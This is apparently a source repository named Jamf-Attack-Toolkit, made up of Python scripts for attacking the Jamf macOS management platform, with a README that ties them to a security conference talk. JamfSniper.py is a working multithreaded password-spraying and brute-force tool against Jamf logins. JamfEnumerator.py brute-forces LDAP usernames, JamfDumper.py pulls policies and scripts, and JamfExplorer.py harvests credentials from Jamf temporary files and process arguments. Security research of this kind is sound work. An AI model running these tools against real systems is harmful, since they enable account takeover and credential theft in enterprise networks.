├── JamfDumper.py ├── JamfEnumerator.py ├── JamfExplorer.py ├── JamfSniper.py ├── README.md └── requirements.txt /JamfDumper.py: -------------------------------------------------------------------------------- 1 | import xmltodict 2 | import requests 3 | import os 4 | import xml.dom.minidom 5 | 6 | from base64 import b64encode 7 | from getpass import getpass 8 | 9 | url = input("[?] JSS URL (https://blah.jamfcloud.com): ") 10 | username = input("[?] JSS Username: ") 11 | password = getpass("[?] JSS Password: ") 12 | auth_string = "%s:%s" % (username, password) 13 | 14 | auth = "Basic %s" % b64encode(auth_string.encode("utf-8")).decode("utf-8") 15 | 16 | api_url = "%s/JSSResource" % url 17 | 18 | try: 19 | os.mkdir(url) 20 | except: 21 | pass 22 | 23 | ################################################################################################################################################# 24 | #///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////# 25 | ################################################################################################################################################# 26 | 27 | def dump(friendly_name, name, item_list, item): 28 | print("\n") 29 | print("#"*(len(friendly_name) + 4)) 30 | print("# %s #" % friendly_name) 31 | print("#"*(len(friendly_name) + 4)) 32 | print("\n") 33 | 34 | try: 35 | os.mkdir("%s/%s" % (url, friendly_name)) 36 | except: 37 | pass 38 | 39 | r = requests.get("%s/%s" % (api_url, name), headers={ "Authorization": auth }) 40 | 41 | if r.status_code != 200: 42 | print(r) 43 | print(r.text) 44 | raise Exception("An error occured. Request didn't return a 200") 45 | 46 | # Iterate and Print 47 | for item in xmltodict.parse(r.text)[item_list][item]: 48 | if os.path.exists("%s/%s/%s" % (url, friendly_name, item['id'])): 49 | print("%s already exists... skipping." % item['id']) 50 | continue 51 | 52 | print("%s - %s" % (item['id'], item['name'])) 53 | 54 | r = requests.get(api_url + "/%s/id/%s" % (name, item['id']), headers={ "Authorization": auth }) 55 | 56 | if r.status_code != 200: 57 | print(r) 58 | print(r.text) 59 | raise Exception("An error occured. Request didn't return a 200") 60 | 61 | dom = xml.dom.minidom.parseString(r.text) 62 | pretty_xml = dom.toprettyxml() 63 | 64 | with open("%s/%s/%s" % (url, friendly_name, item['id']), "w") as f: 65 | f.write(pretty_xml) 66 | 67 | 68 | ################################################################################################################################################# 69 | #///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////# 70 | ################################################################################################################################################# 71 | 72 | if __name__ == '__main__': 73 | dump("Policies", "policies", "policies", "policy") 74 | dump("XAs", "computerextensionattributes", "computer_extension_attributes", "computer_extension_attribute") 75 | dump("Scripts", "scripts", "scripts", "script") 76 | -------------------------------------------------------------------------------- /JamfEnumerator.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import argparse 3 | import string 4 | import sys 5 | import time 6 | from itertools import product 7 | from tqdm import tqdm 8 | from concurrent.futures import ThreadPoolExecutor, as_completed 9 | from time import sleep 10 | from urllib3.exceptions import InsecureRequestWarning 11 | from multiprocessing.pool import ThreadPool as Pool 12 | 13 | # Suppress only the single warning from urllib3 needed. 14 | requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) 15 | 16 | class bcolors: 17 | HEADER = '\033[95m' 18 | OKBLUE = '\033[94m' 19 | OKGREEN = '\033[92m' 20 | WARNING = '\033[93m' 21 | FAIL = '\033[91m' 22 | ENDC = '\033[0m' 23 | BOLD = '\033[1m' 24 | UNDERLINE = '\033[4m' 25 | 26 | headers = { 27 | 'Connection': 'close', 28 | 'Cache-Control': 'max-age=0', 29 | 'Content-Type': 'application/x-www-form-urlencoded', 30 | 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36', 31 | } 32 | 33 | def print_debug(msg): 34 | if args.debug: 35 | print((bcolors.OKBLUE + "[%] %s" + bcolors.ENDC) % msg) 36 | 37 | parser = argparse.ArgumentParser(description="Enumerates LDAP user objects when connected to Jamf.") 38 | parser.add_argument('jss', help='URL of the JSS') 39 | parser.add_argument('--username', nargs='?', default=None, help='Valid LDAP username') 40 | parser.add_argument('--password', nargs='?', default=None, help='Valid LDAP password') 41 | parser.add_argument('--threads', nargs='?', default=1, help='Number of threads to use (default=1)') 42 | parser.add_argument('--query', nargs='?', default=None, help='Specific query to use instead of brute forcing all accounts.') 43 | parser.add_argument('--depth', nargs='?', default=1, help='Length of permuations to generate (default=1)') 44 | parser.add_argument('--output', nargs='?', default=None, help='File to output enumerated usernames') 45 | 46 | args = parser.parse_args() 47 | 48 | if "enroll" not in args.jss: 49 | if not args.jss.endswith("/"): 50 | args.jss += "/" 51 | 52 | args.jss += "enroll/" 53 | 54 | ajax_url = args.jss + 'enroll.ajax' 55 | 56 | if args.username is None: 57 | print("[!] Must supply either --username.") 58 | 59 | if args.password is None: 60 | print("[!] Must supply either --password.") 61 | 62 | print("[*] JSS Enrollment URL: %s" % args.jss) 63 | print("[*] JSS Ajax URL: %s" % ajax_url) 64 | 65 | try: 66 | s = requests.Session() 67 | r = s.get(args.jss, headers=headers, verify=False) 68 | 69 | if r.status_code == 200: 70 | print("[*] Status: " + bcolors.OKGREEN + "Up" + bcolors.ENDC) 71 | 72 | else: 73 | raise Exception("Initial checks returned HTTP status code: %i." % r.status_code) 74 | except Exception as e: 75 | print("[!] Status: " + bcolors.FAIL + "Down or Unreachable" + bcolors.ENDC) 76 | print("[!] Error: %s" % e) 77 | sys.exit() 78 | 79 | 80 | print("[*] Attempting authentication.") 81 | 82 | 83 | data = 'lastPage=login.jsp&payload=&device-detect-complete=&username={}&password={}'.format(args.username, args.password) 84 | s = requests.Session() 85 | r = s.post(args.jss, headers=headers, data=data, verify=False, allow_redirects=False) 86 | 87 | if r.status_code == 302: 88 | print("[*] Successful auth! Onwards.") 89 | else: 90 | print("[!] Failed to authenticate... Exiting.") 91 | sys.exit() 92 | 93 | confirmation = input("[?] Ready? [y/N] ") 94 | 95 | if confirmation.lower() != "y": 96 | print("[!] " + bcolors.FAIL + "Aborting" + bcolors.ENDC) 97 | sys.exit() 98 | 99 | headers = { 100 | 'Connection': 'close', 101 | 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 102 | 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36', 103 | } 104 | 105 | def parse_results(t): 106 | lines = t.splitlines() 107 | results = [x.replace("","").replace("","") for x in lines if "user" in x] 108 | return results 109 | 110 | users = set() 111 | 112 | def do_query(s, q): 113 | r = s.post(ajax_url, headers=headers, data="username={}".format(q), verify=False) 114 | {users.add(u) for u in parse_results(r.text)} 115 | 116 | if args.query: 117 | print("[*] Querying '%s'." % (args.query)) 118 | r = s.post(ajax_url, headers=headers, data="username={}".format(args.query), verify=False) 119 | {users.add(u) for u in parse_results(r.text)} 120 | print(users) 121 | else: 122 | print("[*] Querying the world.") 123 | query_set = product(string.ascii_lowercase + string.digits, repeat=int(args.depth)) 124 | 125 | p = ThreadPoolExecutor(max_workers=int(args.threads)) 126 | futures = [] 127 | 128 | for q in query_set: 129 | futures.append(p.submit(do_query, s, ''.join(q))) 130 | 131 | for f in tqdm(as_completed(futures), leave=True, total=len(futures)): 132 | pass 133 | 134 | print("[*] Found %i users." % len(users)) 135 | print(users) 136 | 137 | if args.output: 138 | try: 139 | with open(args.output, 'w') as f: 140 | f.writelines([x + "\n" for x in list(users)]) 141 | 142 | print("[*] Successfully wrote %i users to %s" % (len(users), args.output)) 143 | except: 144 | print("[!] An error occured writing usernames to a file") 145 | 146 | 147 | -------------------------------------------------------------------------------- /JamfExplorer.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import string 3 | import sys 4 | import subprocess 5 | import plistlib 6 | import os 7 | import hashlib 8 | from os.path import join, isdir 9 | from threading import Thread 10 | 11 | class bcolors: 12 | HEADER = '\033[95m' 13 | OKBLUE = '\033[94m' 14 | OKGREEN = '\033[92m' 15 | WARNING = '\033[93m' 16 | FAIL = '\033[91m' 17 | ENDC = '\033[0m' 18 | BOLD = '\033[1m' 19 | UNDERLINE = '\033[4m' 20 | 21 | parser = argparse.ArgumentParser(description="Listen for new Jamf policy processes to determine insecure credential storage.") 22 | parser.add_argument('--output', nargs='?', default="explorer_output", help='Folder to output results') 23 | 24 | args = parser.parse_args() 25 | 26 | if not isdir("/Library/Application Support/JAMF"): 27 | print("[!] Jamf Application Support folder not found... are you sure Jamf is installed?") 28 | sys.exit() 29 | 30 | try: 31 | with open("/Library/Preferences/com.jamfsoftware.jamf.plist", "rb") as f: 32 | jss_prefs = plistlib.load(f) 33 | except Exception as e: 34 | print("[!] Jamf Preferences PLIST not found. Is Jamf enrolled correctly?") 35 | print(e) 36 | sys.exit() 37 | 38 | print("[*] Determining privilege to the Jamf temp/download directories.") 39 | if os.access("/Library/Application Support/JAMF/tmp", os.R_OK): 40 | print("[*] We have access! Listening for scripts, packages and EAs.") 41 | privileged_access = True 42 | else: 43 | print("[*] Access denied. That's okay... listening for process arguments only") 44 | privileged_access = False 45 | 46 | def tmp_listener(): 47 | known = [] 48 | known_filenames = [] 49 | 50 | try: 51 | os.mkdir(args.output) 52 | except: 53 | pass 54 | 55 | while True: 56 | for file in os.listdir("/Library/Application Support/JAMF/tmp"): 57 | try: 58 | with open(join("/Library/Application Support/JAMF/tmp", file), "rb") as in_f: 59 | file_data = in_f.read() 60 | except FileNotFoundError: 61 | continue 62 | 63 | hash = hashlib.md5(file_data).hexdigest() 64 | 65 | if hash not in known: 66 | path = join(args.output, file) 67 | 68 | with open(path, "wb") as out_f: 69 | out_f.write(file_data) 70 | 71 | os.chmod(path, 0o777) 72 | known.append(hash) 73 | 74 | if file not in known_filenames: 75 | print("[*] New File: %s (%s)" % (file, hash)) 76 | known_filenames.append(file) 77 | else: 78 | print("[*] File Updated: %s (%s)" % (file, hash)) 79 | 80 | for file in os.listdir("/Library/Application Support/JAMF/Downloads"): 81 | try: 82 | with open(join("/Library/Application Support/JAMF/Downloads", file), "rb") as in_f: 83 | file_data = in_f.read() 84 | except FileNotFoundError: 85 | continue 86 | 87 | hash = hashlib.md5(file_data).hexdigest() 88 | 89 | if hash not in known: 90 | path = join(args.output, file) 91 | 92 | with open(path, "wb") as out_f: 93 | out_f.write(file_data) 94 | 95 | os.chmod(path, 0o777) 96 | known.append(hash) 97 | 98 | if file not in known_filenames: 99 | print("[*] New File: %s (%s)" % (file, hash)) 100 | known_filenames.append(file) 101 | else: 102 | print("[*] File Updated: %s (%s)" % (file, hash)) 103 | 104 | 105 | def args_listener(): 106 | known = [] 107 | 108 | while True: 109 | p = subprocess.Popen(["ps", "-ax", "-o", "command,"], stdout=subprocess.PIPE) 110 | results = p.stdout.read().splitlines()[1:] 111 | 112 | for res in results: 113 | cmd = res.decode('utf-8') 114 | if "jamf" in cmd.lower() and not cmd.startswith("(") and not cmd.endswith(")"): 115 | if cmd.startswith("sh -c PATH=$PATH:/usr/local/jamf/bin;"): 116 | hash = hashlib.md5(res).hexdigest() 117 | 118 | if hash not in known: 119 | args = cmd.split(";")[1].strip().split("'")[1::2] 120 | 121 | if args[0] == "/bin/sh": 122 | args = args[1:] 123 | 124 | print("[*] New Process: %s" % args[0]) 125 | print(" - Mount Point: %s" % args[1]) 126 | print(" - Computer Name: %s" % args[2]) 127 | print(" - Username: %s" % args[3]) 128 | print(" - Parameters:") 129 | 130 | for i, arg in enumerate(args[4:13]): 131 | print(" %i: %s" % (i+4, arg)) 132 | 133 | known.append(hash) 134 | 135 | threads = [] 136 | 137 | if privileged_access: 138 | threads.append(Thread(target=tmp_listener)) 139 | 140 | threads.append(Thread(target=args_listener)) 141 | 142 | for t in threads: 143 | t.start() 144 | 145 | # Spin 146 | while True: 147 | pass 148 | -------------------------------------------------------------------------------- /JamfSniper.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import argparse 3 | import sys 4 | import time 5 | from tqdm import tqdm 6 | from concurrent.futures import ThreadPoolExecutor, as_completed 7 | from time import sleep 8 | from urllib3.exceptions import InsecureRequestWarning 9 | from multiprocessing.pool import ThreadPool as Pool 10 | 11 | # Suppress only the single warning from urllib3 needed. 12 | requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) 13 | 14 | class bcolors: 15 | HEADER = '\033[95m' 16 | OKBLUE = '\033[94m' 17 | OKGREEN = '\033[92m' 18 | WARNING = '\033[93m' 19 | FAIL = '\033[91m' 20 | ENDC = '\033[0m' 21 | BOLD = '\033[1m' 22 | UNDERLINE = '\033[4m' 23 | 24 | headers = { 25 | 'Connection': 'close', 26 | 'Cache-Control': 'max-age=0', 27 | 'Content-Type': 'application/x-www-form-urlencoded', 28 | 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36', 29 | } 30 | 31 | def print_debug(msg): 32 | if args.debug: 33 | print((bcolors.OKBLUE + "[%] %s" + bcolors.ENDC) % msg) 34 | 35 | def do_authentication(username, password): 36 | data = 'lastPage=login.jsp&payload=&device-detect-complete=&username={}&password={}'.format(username, password) 37 | r = requests.post(args.jss, headers=headers, data=data, verify=False, allow_redirects=False) 38 | 39 | if r.status_code == 302: 40 | tqdm.write(("[*] %s:%s " + bcolors.OKGREEN + "(success)" + bcolors.ENDC) % (username, password)) 41 | 42 | def do_authentication_api(username, password): 43 | r = requests.get(api_url, headers=headers, auth=(username, password), verify=False) 44 | 45 | if "WWW-Authenticate" not in r.headers: 46 | if "Unauthorized" in r.text: 47 | tqdm.write(("[*] %s:%s " + bcolors.OKGREEN + "(success)" + bcolors.ENDC) % (username, password)) 48 | else: 49 | tqdm.write(("[*] %s:%s " + bcolors.OKGREEN + "(success - API access)" + bcolors.ENDC) % (username, password)) 50 | 51 | 52 | parser = argparse.ArgumentParser(description="Password Spray a target\'s Jamf installation.") 53 | parser.add_argument('jss', help='URL of the JSS') 54 | parser.add_argument('--username', nargs='?', default=None, help='Username to spray') 55 | parser.add_argument('--username-list', nargs='?', default=None, help='File containing usernames to spray') 56 | parser.add_argument('--password', nargs='?', default=None, help='Password to spray') 57 | parser.add_argument('--password-list', nargs='?', default=None, help='File containing passwords to spray') 58 | parser.add_argument('--threads', nargs='?', default=20, help='Number of threads to use (default=20)') 59 | parser.add_argument('--swap', action='store_true', default=False, help='Thread on passwords rather than usernames, useful for brute forcing') 60 | parser.add_argument('--api', action='store_true', default=False, help='Use the API method of password spraying rather than the enrollment portal.') 61 | 62 | args = parser.parse_args() 63 | 64 | if not args.jss.endswith("/"): 65 | args.jss += "/" 66 | 67 | api_url = args.jss + "JSSResource/users" 68 | args.jss += "enroll/" 69 | 70 | if args.username is None and args.username_list is None: 71 | print("[!] Must supply either --username or --username-list options.") 72 | 73 | if args.password is None and args.password_list is None: 74 | print("[!] Must supply either --password or --password-list options.") 75 | 76 | if args.username_list is None: 77 | usernames = [args.username] 78 | else: 79 | with open(args.username_list) as f: 80 | usernames = [x.strip() for x in f.readlines()] 81 | 82 | if args.password_list is None: 83 | passwords = [args.password] 84 | else: 85 | with open(args.password_list) as f: 86 | passwords = [x.strip() for x in f.readlines()] 87 | 88 | if args.api: 89 | print("[*] JSS API URL: %s" % api_url) 90 | else: 91 | print("[*] JSS URL: %s" % args.jss) 92 | 93 | try: 94 | s = requests.Session() 95 | r = s.get(args.jss, headers=headers, verify=False) 96 | 97 | if r.status_code == 200: 98 | print("[*] Status: " + bcolors.OKGREEN + "Up" + bcolors.ENDC) 99 | 100 | else: 101 | raise Exception("Initial checks returned HTTP status code: %i." % r.status_code) 102 | except Exception as e: 103 | print("[!] Status: " + bcolors.FAIL + "Down or Unreachable" + bcolors.ENDC) 104 | print("[!] Error: %s" % e) 105 | sys.exit() 106 | 107 | 108 | print("[*] Attempting authentication requests for %i usernames with %i passwords (%i total)." % (len(usernames), len(passwords), len(usernames)*len(passwords))) 109 | 110 | confirmation = input("[?] Ready? [y/N] ") 111 | 112 | if confirmation.lower() != "y": 113 | print("[!] " + bcolors.FAIL + "Aborting" + bcolors.ENDC) 114 | sys.exit() 115 | 116 | if args.api: 117 | auth_function = do_authentication_api 118 | else: 119 | auth_function = do_authentication 120 | 121 | if args.swap: 122 | for i, username in enumerate(usernames): 123 | print("[*] Attempting '%s' (%i/%i)" % (username, i + 1, len(usernames))) 124 | 125 | p = ThreadPoolExecutor(max_workers=int(args.threads)) 126 | futures = [] 127 | 128 | for password in passwords: 129 | futures.append(p.submit(auth_function, username, password)) 130 | 131 | for f in tqdm(as_completed(futures), leave=True, total=len(futures)): 132 | pass 133 | else: 134 | for i, password in enumerate(passwords): 135 | print("[*] Attempting '%s' (%i/%i)" % (password, i + 1, len(passwords))) 136 | 137 | p = ThreadPoolExecutor(max_workers=int(args.threads)) 138 | futures = [] 139 | 140 | for username in usernames: 141 | futures.append(p.submit(auth_function, username, password)) 142 | 143 | for f in tqdm(as_completed(futures), leave=True, total=len(futures)): 144 | pass 145 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Jamf-Attack-Toolkit 2 | 3 | Suite of tools to facilitate attacks against the Jamf macOS management platform. These tools compliment the talk given by Calum Hall and Luke Roberts at Objective By The Sea V3, slides and video can be found [here](https://objectivebythesea.com/v3/talks/OBTS_v3_cHall_lRoberts.pdf) and [here](https://youtu.be/ZDJsag2Za8w?t=16737). 4 | 5 | A follow up blog post detailing the attacks in more detail and explaining the usage of the tools can be found at [https://labs.f-secure.com/blog/jamfing-for-joy-attacking-macos-in-enterprise/](https://labs.f-secure.com/blog/jamfing-for-joy-attacking-macos-in-enterprise/). 6 | 7 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | tqdm 3 | xmltodict 4 | --------------------------------------------------------------------------------